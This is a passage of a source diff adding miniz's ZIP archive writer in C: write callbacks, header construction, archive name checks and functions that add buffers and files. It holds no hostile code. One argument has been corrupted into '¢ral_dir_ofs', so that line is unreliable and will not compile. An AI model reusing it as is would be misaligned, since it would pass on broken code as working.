*)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(mz_zip_internal_state)))) + return MZ_FALSE; + memset(pZip->m_pState, 0, sizeof(mz_zip_internal_state)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir, sizeof(mz_uint8)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_central_dir_offsets, sizeof(mz_uint32)); + MZ_ZIP_ARRAY_SET_ELEMENT_SIZE(&pZip->m_pState->m_sorted_central_dir_offsets, sizeof(mz_uint32)); + return MZ_TRUE; +} + +static size_t mz_zip_heap_write_func(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n) +{ + mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; + mz_zip_internal_state *pState = pZip->m_pState; + mz_uint64 new_size = MZ_MAX(file_ofs + n, pState->m_mem_size); +#ifdef _MSC_VER + if ((!n) || ((0, sizeof(size_t) == sizeof(mz_uint32)) && (new_size > 0x7FFFFFFF))) +#else + if ((!n) || ((sizeof(size_t) == sizeof(mz_uint32)) && (new_size > 0x7FFFFFFF))) +#endif + return 0; + if (new_size > pState->m_mem_capacity) + { + void *pNew_block; + size_t new_capacity = MZ_MAX(64, pState->m_mem_capacity); while (new_capacity < new_size) new_capacity *= 2; + if (NULL == (pNew_block = pZip->m_pRealloc(pZip->m_pAlloc_opaque, pState->m_pMem, 1, new_capacity))) + return 0; + pState->m_pMem = pNew_block; pState->m_mem_capacity = new_capacity; + } + memcpy((mz_uint8 *)pState->m_pMem + file_ofs, pBuf, n); + pState->m_mem_size = (size_t)new_size; + return n; +} + +mz_bool mz_zip_writer_init_heap(mz_zip_archive *pZip, size_t size_to_reserve_at_beginning, size_t initial_allocation_size) +{ + pZip->m_pWrite = mz_zip_heap_write_func; + pZip->m_pIO_opaque = pZip; + if (!mz_zip_writer_init(pZip, size_to_reserve_at_beginning)) + return MZ_FALSE; + if (0 != (initial_allocation_size = MZ_MAX(initial_allocation_size, size_to_reserve_at_beginning))) + { + if (NULL == (pZip->m_pState->m_pMem = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, initial_allocation_size))) + { + mz_zip_writer_end(pZip); + return MZ_FALSE; + } + pZip->m_pState->m_mem_capacity = initial_allocation_size; + } + return MZ_TRUE; +} + +#ifndef MINIZ_NO_STDIO +static size_t mz_zip_file_write_func(void *pOpaque, mz_uint64 file_ofs, const void *pBuf, size_t n) +{ + mz_zip_archive *pZip = (mz_zip_archive *)pOpaque; + mz_int64 cur_ofs = MZ_FTELL64(pZip->m_pState->m_pFile); + if (((mz_int64)file_ofs < 0) || (((cur_ofs != (mz_int64)file_ofs)) && (MZ_FSEEK64(pZip->m_pState->m_pFile, (mz_int64)file_ofs, SEEK_SET)))) + return 0; + return MZ_FWRITE(pBuf, 1, n, pZip->m_pState->m_pFile); +} + +mz_bool mz_zip_writer_init_file(mz_zip_archive *pZip, const char *pFilename, mz_uint64 size_to_reserve_at_beginning) +{ + MZ_FILE *pFile; + pZip->m_pWrite = mz_zip_file_write_func; + pZip->m_pIO_opaque = pZip; + if (!mz_zip_writer_init(pZip, size_to_reserve_at_beginning)) + return MZ_FALSE; + if (NULL == (pFile = MZ_FOPEN(pFilename, "wb"))) + { + mz_zip_writer_end(pZip); + return MZ_FALSE; + } + pZip->m_pState->m_pFile = pFile; + if (size_to_reserve_at_beginning) + { + mz_uint64 cur_ofs = 0; char buf[4096]; MZ_CLEAR_OBJ(buf); + do + { + size_t n = (size_t)MZ_MIN(sizeof(buf), size_to_reserve_at_beginning); + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_ofs, buf, n) != n) + { + mz_zip_writer_end(pZip); + return MZ_FALSE; + } + cur_ofs += n; size_to_reserve_at_beginning -= n; + } while (size_to_reserve_at_beginning); + } + return MZ_TRUE; +} +#endif // #ifndef MINIZ_NO_STDIO + +mz_bool mz_zip_writer_init_from_reader(mz_zip_archive *pZip, const char *pFilename) +{ + mz_zip_internal_state *pState; + if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_READING)) + return MZ_FALSE; + // No sense in trying to write to an archive that's already at the support max size + if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + MZ_ZIP_LOCAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) + return MZ_FALSE; + + pState = pZip->m_pState; + + if (pState->m_pFile) + { +#ifdef MINIZ_NO_STDIO + pFilename; return MZ_FALSE; +#else + // Archive is being read from stdio - try to reopen as writable. + if (pZip->m_pIO_opaque != pZip) + return MZ_FALSE; + if (!pFilename) + return MZ_FALSE; + pZip->m_pWrite = mz_zip_file_write_func; + if (NULL == (pState->m_pFile = MZ_FREOPEN(pFilename, "r+b", pState->m_pFile))) + { + // The mz_zip_archive is now in a bogus state because pState->m_pFile is NULL, so just close it. + mz_zip_reader_end(pZip); + return MZ_FALSE; + } +#endif // #ifdef MINIZ_NO_STDIO + } + else if (pState->m_pMem) + { + // Archive lives in a memory block. Assume it's from the heap that we can resize using the realloc callback. + if (pZip->m_pIO_opaque != pZip) + return MZ_FALSE; + pState->m_mem_capacity = pState->m_mem_size; + pZip->m_pWrite = mz_zip_heap_write_func; + } + // Archive is being read via a user provided read function - make sure the user has specified a write function too. + else if (!pZip->m_pWrite) + return MZ_FALSE; + + // Start writing new files at the archive's current central directory location. + pZip->m_archive_size = pZip->m_central_directory_file_ofs; + pZip->m_zip_mode = MZ_ZIP_MODE_WRITING; + pZip->m_central_directory_file_ofs = 0; + + return MZ_TRUE; +} + +mz_bool mz_zip_writer_add_mem(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, mz_uint level_and_flags) +{ + return mz_zip_writer_add_mem_ex(pZip, pArchive_name, pBuf, buf_size, NULL, 0, level_and_flags, 0, 0); +} + +typedef struct +{ + mz_zip_archive *m_pZip; + mz_uint64 m_cur_archive_file_ofs; + mz_uint64 m_comp_size; +} mz_zip_writer_add_state; + +static mz_bool mz_zip_writer_add_put_buf_callback(const void* pBuf, int len, void *pUser) +{ + mz_zip_writer_add_state *pState = (mz_zip_writer_add_state *)pUser; + if ((int)pState->m_pZip->m_pWrite(pState->m_pZip->m_pIO_opaque, pState->m_cur_archive_file_ofs, pBuf, len) != len) + return MZ_FALSE; + pState->m_cur_archive_file_ofs += len; + pState->m_comp_size += len; + return MZ_TRUE; +} + +static mz_bool mz_zip_writer_create_local_dir_header(mz_zip_archive *pZip, mz_uint8 *pDst, mz_uint16 filename_size, mz_uint16 extra_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date) +{ + (void)pZip; + memset(pDst, 0, MZ_ZIP_LOCAL_DIR_HEADER_SIZE); + MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_SIG_OFS, MZ_ZIP_LOCAL_DIR_HEADER_SIG); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_VERSION_NEEDED_OFS, method ? 20 : 0); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_BIT_FLAG_OFS, bit_flags); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_METHOD_OFS, method); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILE_TIME_OFS, dos_time); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILE_DATE_OFS, dos_date); + MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_CRC32_OFS, uncomp_crc32); + MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_COMPRESSED_SIZE_OFS, comp_size); + MZ_WRITE_LE32(pDst + MZ_ZIP_LDH_DECOMPRESSED_SIZE_OFS, uncomp_size); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_FILENAME_LEN_OFS, filename_size); + MZ_WRITE_LE16(pDst + MZ_ZIP_LDH_EXTRA_LEN_OFS, extra_size); + return MZ_TRUE; +} + +static mz_bool mz_zip_writer_create_central_dir_header(mz_zip_archive *pZip, mz_uint8 *pDst, mz_uint16 filename_size, mz_uint16 extra_size, mz_uint16 comment_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date, mz_uint64 local_header_ofs, mz_uint32 ext_attributes) +{ + (void)pZip; + memset(pDst, 0, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_SIG_OFS, MZ_ZIP_CENTRAL_DIR_HEADER_SIG); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_VERSION_NEEDED_OFS, method ? 20 : 0); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_BIT_FLAG_OFS, bit_flags); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_METHOD_OFS, method); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILE_TIME_OFS, dos_time); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILE_DATE_OFS, dos_date); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_CRC32_OFS, uncomp_crc32); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS, comp_size); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_DECOMPRESSED_SIZE_OFS, uncomp_size); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_FILENAME_LEN_OFS, filename_size); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_EXTRA_LEN_OFS, extra_size); + MZ_WRITE_LE16(pDst + MZ_ZIP_CDH_COMMENT_LEN_OFS, comment_size); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_EXTERNAL_ATTR_OFS, ext_attributes); + MZ_WRITE_LE32(pDst + MZ_ZIP_CDH_LOCAL_HEADER_OFS, local_header_ofs); + return MZ_TRUE; +} + +static mz_bool mz_zip_writer_add_to_central_dir(mz_zip_archive *pZip, const char *pFilename, mz_uint16 filename_size, const void *pExtra, mz_uint16 extra_size, const void *pComment, mz_uint16 comment_size, mz_uint64 uncomp_size, mz_uint64 comp_size, mz_uint32 uncomp_crc32, mz_uint16 method, mz_uint16 bit_flags, mz_uint16 dos_time, mz_uint16 dos_date, mz_uint64 local_header_ofs, mz_uint32 ext_attributes) +{ + mz_zip_internal_state *pState = pZip->m_pState; + mz_uint32 central_dir_ofs = (mz_uint32)pState->m_central_dir.m_size; + size_t orig_central_dir_size = pState->m_central_dir.m_size; + mz_uint8 central_dir_header[MZ_ZIP_CENTRAL_DIR_HEADER_SIZE]; + + // No zip64 support yet + if ((local_header_ofs > 0xFFFFFFFF) || (((mz_uint64)pState->m_central_dir.m_size + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + filename_size + extra_size + comment_size) > 0xFFFFFFFF)) + return MZ_FALSE; + + if (!mz_zip_writer_create_central_dir_header(pZip, central_dir_header, filename_size, extra_size, comment_size, uncomp_size, comp_size, uncomp_crc32, method, bit_flags, dos_time, dos_date, local_header_ofs, ext_attributes)) + return MZ_FALSE; + + if ((!mz_zip_array_push_back(pZip, &pState->m_central_dir, central_dir_header, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE)) || + (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pFilename, filename_size)) || + (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pExtra, extra_size)) || + (!mz_zip_array_push_back(pZip, &pState->m_central_dir, pComment, comment_size)) || + (!mz_zip_array_push_back(pZip, &pState->m_central_dir_offsets, ¢ral_dir_ofs, 1))) + { + // Try to push the central directory array back into its original state. + mz_zip_array_resize(pZip, &pState->m_central_dir, orig_central_dir_size, MZ_FALSE); + return MZ_FALSE; + } + + return MZ_TRUE; +} + +static mz_bool mz_zip_writer_validate_archive_name(const char *pArchive_name) +{ + // Basic ZIP archive filename validity checks: Valid filenames cannot start with a forward slash, cannot contain a drive letter, and cannot use DOS-style backward slashes. + if (*pArchive_name == '/') + return MZ_FALSE; + while (*pArchive_name) + { + if ((*pArchive_name == '\\') || (*pArchive_name == ':')) + return MZ_FALSE; + pArchive_name++; + } + return MZ_TRUE; +} + +static mz_uint mz_zip_writer_compute_padding_needed_for_file_alignment(mz_zip_archive *pZip) +{ + mz_uint32 n; + if (!pZip->m_file_offset_alignment) + return 0; + n = (mz_uint32)(pZip->m_archive_size & (pZip->m_file_offset_alignment - 1)); + return (pZip->m_file_offset_alignment - n) & (pZip->m_file_offset_alignment - 1); +} + +static mz_bool mz_zip_writer_write_zeros(mz_zip_archive *pZip, mz_uint64 cur_file_ofs, mz_uint32 n) +{ + char buf[4096]; + memset(buf, 0, MZ_MIN(sizeof(buf), n)); + while (n) + { + mz_uint32 s = MZ_MIN(sizeof(buf), n); + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_file_ofs, buf, s) != s) + return MZ_FALSE; + cur_file_ofs += s; n -= s; + } + return MZ_TRUE; +} + +mz_bool mz_zip_writer_add_mem_ex(mz_zip_archive *pZip, const char *pArchive_name, const void *pBuf, size_t buf_size, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags, mz_uint64 uncomp_size, mz_uint32 uncomp_crc32) +{ + mz_uint16 method = 0, dos_time = 0, dos_date = 0; + mz_uint level, ext_attributes = 0, num_alignment_padding_bytes; + mz_uint64 local_dir_header_ofs = pZip->m_archive_size, cur_archive_file_ofs = pZip->m_archive_size, comp_size = 0; + size_t archive_name_size; + mz_uint8 local_dir_header[MZ_ZIP_LOCAL_DIR_HEADER_SIZE]; + tdefl_compressor *pComp = NULL; + mz_bool store_data_uncompressed; + mz_zip_internal_state *pState; + + if ((int)level_and_flags < 0) + level_and_flags = MZ_DEFAULT_LEVEL; + level = level_and_flags & 0xF; + store_data_uncompressed = ((!level) || (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)); + + if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) || ((buf_size) && (!pBuf)) || (!pArchive_name) || ((comment_size) && (!pComment)) || (pZip->m_total_files == 0xFFFF) || (level > MZ_UBER_COMPRESSION)) + return MZ_FALSE; + + pState = pZip->m_pState; + + if ((!(level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) && (uncomp_size)) + return MZ_FALSE; + // No zip64 support yet + if ((buf_size > 0xFFFFFFFF) || (uncomp_size > 0xFFFFFFFF)) + return MZ_FALSE; + if (!mz_zip_writer_validate_archive_name(pArchive_name)) + return MZ_FALSE; + +#ifndef MINIZ_NO_TIME + { + time_t cur_time; time(&cur_time); + mz_zip_time_to_dos_time(cur_time, &dos_time, &dos_date); + } +#endif // #ifndef MINIZ_NO_TIME + + archive_name_size = strlen(pArchive_name); + if (archive_name_size > 0xFFFF) + return MZ_FALSE; + + num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); + + // no zip64 support yet + if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + comment_size + archive_name_size) > 0xFFFFFFFF)) + return MZ_FALSE; + + if ((archive_name_size) && (pArchive_name[archive_name_size - 1] == '/')) + { + // Set DOS Subdirectory attribute bit. + ext_attributes |= 0x10; + // Subdirectories cannot contain data. + if ((buf_size) || (uncomp_size)) + return MZ_FALSE; + } + + // Try to do any allocations before writing to the archive, so if an allocation fails the file remains unmodified. (A good idea if we're doing an in-place modification.) + if ((!mz_zip_array_ensure_room(pZip, &pState->m_central_dir, MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + archive_name_size + comment_size)) || (!mz_zip_array_ensure_room(pZip, &pState->m_central_dir_offsets, 1))) + return MZ_FALSE; + + if ((!store_data_uncompressed) && (buf_size)) + { + if (NULL == (pComp = (tdefl_compressor *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(tdefl_compressor)))) + return MZ_FALSE; + } + + if (!mz_zip_writer_write_zeros(pZip, cur_archive_file_ofs, num_alignment_padding_bytes + sizeof(local_dir_header))) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + return MZ_FALSE; + } + local_dir_header_ofs += num_alignment_padding_bytes; + if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0); } + cur_archive_file_ofs += num_alignment_padding_bytes + sizeof(local_dir_header); + + MZ_CLEAR_OBJ(local_dir_header); + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pArchive_name, archive_name_size) != archive_name_size) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + return MZ_FALSE; + } + cur_archive_file_ofs += archive_name_size; + + if (!(level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA)) + { + uncomp_crc32 = (mz_uint32)mz_crc32(MZ_CRC32_INIT, (const mz_uint8*)pBuf, buf_size); + uncomp_size = buf_size; + if (uncomp_size <= 3) + { + level = 0; + store_data_uncompressed = MZ_TRUE; + } + } + + if (store_data_uncompressed) + { + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pBuf, buf_size) != buf_size) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + return MZ_FALSE; + } + + cur_archive_file_ofs += buf_size; + comp_size = buf_size; + + if (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA) + method = MZ_DEFLATED; + } + else if (buf_size) + { + mz_zip_writer_add_state state; + + state.m_pZip = pZip; + state.m_cur_archive_file_ofs = cur_archive_file_ofs; + state.m_comp_size = 0; + + if ((tdefl_init(pComp, mz_zip_writer_add_put_buf_callback, &state, tdefl_create_comp_flags_from_zip_params(level, -15, MZ_DEFAULT_STRATEGY)) != TDEFL_STATUS_OKAY) || + (tdefl_compress_buffer(pComp, pBuf, buf_size, TDEFL_FINISH) != TDEFL_STATUS_DONE)) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + return MZ_FALSE; + } + + comp_size = state.m_comp_size; + cur_archive_file_ofs = state.m_cur_archive_file_ofs; + + method = MZ_DEFLATED; + } + + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + pComp = NULL; + + // no zip64 support yet + if ((comp_size > 0xFFFFFFFF) || (cur_archive_file_ofs > 0xFFFFFFFF)) + return MZ_FALSE; + + if (!mz_zip_writer_create_local_dir_header(pZip, local_dir_header, (mz_uint16)archive_name_size, 0, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date)) + return MZ_FALSE; + + if (pZip->m_pWrite(pZip->m_pIO_opaque, local_dir_header_ofs, local_dir_header, sizeof(local_dir_header)) != sizeof(local_dir_header)) + return MZ_FALSE; + + if (!mz_zip_writer_add_to_central_dir(pZip, pArchive_name, (mz_uint16)archive_name_size, NULL, 0, pComment, comment_size, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date, local_dir_header_ofs, ext_attributes)) + return MZ_FALSE; + + pZip->m_total_files++; + pZip->m_archive_size = cur_archive_file_ofs; + + return MZ_TRUE; +} + +#ifndef MINIZ_NO_STDIO +mz_bool mz_zip_writer_add_file(mz_zip_archive *pZip, const char *pArchive_name, const char *pSrc_filename, const void *pComment, mz_uint16 comment_size, mz_uint level_and_flags) +{ + mz_uint uncomp_crc32 = MZ_CRC32_INIT, level, num_alignment_padding_bytes; + mz_uint16 method = 0, dos_time = 0, dos_date = 0, ext_attributes = 0; + mz_uint64 local_dir_header_ofs = pZip->m_archive_size, cur_archive_file_ofs = pZip->m_archive_size, uncomp_size = 0, comp_size = 0; + size_t archive_name_size; + mz_uint8 local_dir_header[MZ_ZIP_LOCAL_DIR_HEADER_SIZE]; + MZ_FILE *pSrc_file = NULL; + + if ((int)level_and_flags < 0) + level_and_flags = MZ_DEFAULT_LEVEL; + level = level_and_flags & 0xF; + + if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING) || (!pArchive_name) || ((comment_size) && (!pComment)) || (level > MZ_UBER_COMPRESSION)) + return MZ_FALSE; + if (level_and_flags & MZ_ZIP_FLAG_COMPRESSED_DATA) + return MZ_FALSE; + if (!mz_zip_writer_validate_archive_name(pArchive_name)) + return MZ_FALSE; + + archive_name_size = strlen(pArchive_name); + if (archive_name_size > 0xFFFF) + return MZ_FALSE; + + num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); + + // no zip64 support yet + if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE + comment_size + archive_name_size) > 0xFFFFFFFF)) + return MZ_FALSE; + + if (!mz_zip_get_file_modified_time(pSrc_filename, &dos_time, &dos_date)) + return MZ_FALSE; + + pSrc_file = MZ_FOPEN(pSrc_filename, "rb"); + if (!pSrc_file) + return MZ_FALSE; + MZ_FSEEK64(pSrc_file, 0, SEEK_END); + uncomp_size = MZ_FTELL64(pSrc_file); + MZ_FSEEK64(pSrc_file, 0, SEEK_SET); + + if (uncomp_size > 0xFFFFFFFF) + { + // No zip64 support yet + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + if (uncomp_size <= 3) + level = 0; + + if (!mz_zip_writer_write_zeros(pZip, cur_archive_file_ofs, num_alignment_padding_bytes + sizeof(local_dir_header))) + { + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + local_dir_header_ofs += num_alignment_padding_bytes; + if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0); } + cur_archive_file_ofs += num_alignment_padding_bytes + sizeof(local_dir_header); + + MZ_CLEAR_OBJ(local_dir_header); + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pArchive_name, archive_name_size) != archive_name_size) + { + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + cur_archive_file_ofs += archive_name_size; + + if (uncomp_size) + { + mz_uint64 uncomp_remaining = uncomp_size; + void *pRead_buf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, MZ_ZIP_MAX_IO_BUF_SIZE); + if (!pRead_buf) + { + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + + if (!level) + { + while (uncomp_remaining) + { + mz_uint n = (mz_uint)MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, uncomp_remaining); + if ((MZ_FREAD(pRead_buf, 1, n, pSrc_file) != n) || (pZip->m_pWrite(pZip->m_pIO_opaque, cur_archive_file_ofs, pRead_buf, n) != n)) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + uncomp_crc32 = (mz_uint32)mz_crc32(uncomp_crc32, (const mz_uint8 *)pRead_buf, n); + uncomp_remaining -= n; + cur_archive_file_ofs += n; + } + comp_size = uncomp_size; + } + else + { + mz_bool result = MZ_FALSE; + mz_zip_writer_add_state state; + tdefl_compressor *pComp = (tdefl_compressor *)pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, sizeof(tdefl_compressor)); + if (!pComp) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + + state.m_pZip = pZip; + state.m_cur_archive_file_ofs = cur_archive_file_ofs; + state.m_comp_size = 0; + + if (tdefl_init(pComp, mz_zip_writer_add_put_buf_callback, &state, tdefl_create_comp_flags_from_zip_params(level, -15, MZ_DEFAULT_STRATEGY)) != TDEFL_STATUS_OKAY) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + + for ( ; ; ) + { + size_t in_buf_size = (mz_uint32)MZ_MIN(uncomp_remaining, MZ_ZIP_MAX_IO_BUF_SIZE); + tdefl_status status; + + if (MZ_FREAD(pRead_buf, 1, in_buf_size, pSrc_file) != in_buf_size) + break; + + uncomp_crc32 = (mz_uint32)mz_crc32(uncomp_crc32, (const mz_uint8 *)pRead_buf, in_buf_size); + uncomp_remaining -= in_buf_size; + + status = tdefl_compress_buffer(pComp, pRead_buf, in_buf_size, uncomp_remaining ? TDEFL_NO_FLUSH : TDEFL_FINISH); + if (status == TDEFL_STATUS_DONE) + { + result = MZ_TRUE; + break; + } + else if (status != TDEFL_STATUS_OKAY) + break; + } + + pZip->m_pFree(pZip->m_pAlloc_opaque, pComp); + + if (!result) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + MZ_FCLOSE(pSrc_file); + return MZ_FALSE; + } + + comp_size = state.m_comp_size; + cur_archive_file_ofs = state.m_cur_archive_file_ofs; + + method = MZ_DEFLATED; + } + + pZip->m_pFree(pZip->m_pAlloc_opaque, pRead_buf); + } + + MZ_FCLOSE(pSrc_file); pSrc_file = NULL; + + // no zip64 support yet + if ((comp_size > 0xFFFFFFFF) || (cur_archive_file_ofs > 0xFFFFFFFF)) + return MZ_FALSE; + + if (!mz_zip_writer_create_local_dir_header(pZip, local_dir_header, (mz_uint16)archive_name_size, 0, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date)) + return MZ_FALSE; + + if (pZip->m_pWrite(pZip->m_pIO_opaque, local_dir_header_ofs, local_dir_header, sizeof(local_dir_header)) != sizeof(local_dir_header)) + return MZ_FALSE; + + if (!mz_zip_writer_add_to_central_dir(pZip, pArchive_name, (mz_uint16)archive_name_size, NULL, 0, pComment, comment_size, uncomp_size, comp_size, uncomp_crc32, method, 0, dos_time, dos_date, local_dir_header_ofs, ext_attributes)) + return MZ_FALSE; + + pZip->m_total_files++; + pZip->m_archive_size = cur_archive_file_ofs; + + return MZ_TRUE; +} +#endif // #ifndef MINIZ_NO_STDIO + +mz_bool mz_zip_writer_add_from_zip_reader(mz_zip_archive *pZip, mz_zip_archive *pSource_zip, mz_uint file_index) +{ + mz_uint n, bit_flags, num_alignment_padding_bytes; + mz_uint64 comp_bytes_remaining, local_dir_header_ofs; + mz_uint64 cur_src_file_ofs, cur_dst_file_ofs; + mz_uint32 local_header_u32[(MZ_ZIP_LOCAL_DIR_HEADER_SIZE + sizeof(mz_uint32) - 1) / sizeof(mz_uint32)]; mz_uint8 *pLocal_header = (mz_uint8 *)local_header_u32; + mz_uint8 central_header[MZ_ZIP_CENTRAL_DIR_HEADER_SIZE]; + size_t orig_central_dir_size; + mz_zip_internal_state *pState; + void *pBuf; const mz_uint8 *pSrc_central_header; + + if ((!pZip) || (!pZip->m_pState) || (pZip->m_zip_mode != MZ_ZIP_MODE_WRITING)) + return MZ_FALSE; + if (NULL == (pSrc_central_header = mz_zip_reader_get_cdh(pSource_zip, file_index))) + return MZ_FALSE; + pState = pZip->m_pState; + + num_alignment_padding_bytes = mz_zip_writer_compute_padding_needed_for_file_alignment(pZip); + + // no zip64 support yet + if ((pZip->m_total_files == 0xFFFF) || ((pZip->m_archive_size + num_alignment_padding_bytes + MZ_ZIP_LOCAL_DIR_HEADER_SIZE + MZ_ZIP_CENTRAL_DIR_HEADER_SIZE) > 0xFFFFFFFF)) + return MZ_FALSE; + + cur_src_file_ofs = MZ_READ_LE32(pSrc_central_header + MZ_ZIP_CDH_LOCAL_HEADER_OFS); + cur_dst_file_ofs = pZip->m_archive_size; + + if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) + return MZ_FALSE; + if (MZ_READ_LE32(pLocal_header) != MZ_ZIP_LOCAL_DIR_HEADER_SIG) + return MZ_FALSE; + cur_src_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE; + + if (!mz_zip_writer_write_zeros(pZip, cur_dst_file_ofs, num_alignment_padding_bytes)) + return MZ_FALSE; + cur_dst_file_ofs += num_alignment_padding_bytes; + local_dir_header_ofs = cur_dst_file_ofs; + if (pZip->m_file_offset_alignment) { MZ_ASSERT((local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0); } + + if (pZip->m_pWrite(pZip->m_pIO_opaque, cur_dst_file_ofs, pLocal_header, MZ_ZIP_LOCAL_DIR_HEADER_SIZE) != MZ_ZIP_LOCAL_DIR_HEADER_SIZE) + return MZ_FALSE; + cur_dst_file_ofs += MZ_ZIP_LOCAL_DIR_HEADER_SIZE; + + n = MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_FILENAME_LEN_OFS) + MZ_READ_LE16(pLocal_header + MZ_ZIP_LDH_EXTRA_LEN_OFS); + comp_bytes_remaining = n + MZ_READ_LE32(pSrc_central_header + MZ_ZIP_CDH_COMPRESSED_SIZE_OFS); + + if (NULL == (pBuf = pZip->m_pAlloc(pZip->m_pAlloc_opaque, 1, (size_t)MZ_MAX(sizeof(mz_uint32) * 4, MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, comp_bytes_remaining))))) + return MZ_FALSE; + + while (comp_bytes_remaining) + { + n = (mz_uint)MZ_MIN(MZ_ZIP_MAX_IO_BUF_SIZE, comp_bytes_remaining); + if (pSource_zip->m_pRead(pSource_zip->m_pIO_opaque, cur_src_file_ofs, pBuf, n) != n) + { + pZip->m_pFree(pZip->m_pAlloc_opaque, pBuf); + return MZ_FALSE; + } + cur_src_file_ofs += n; + + if 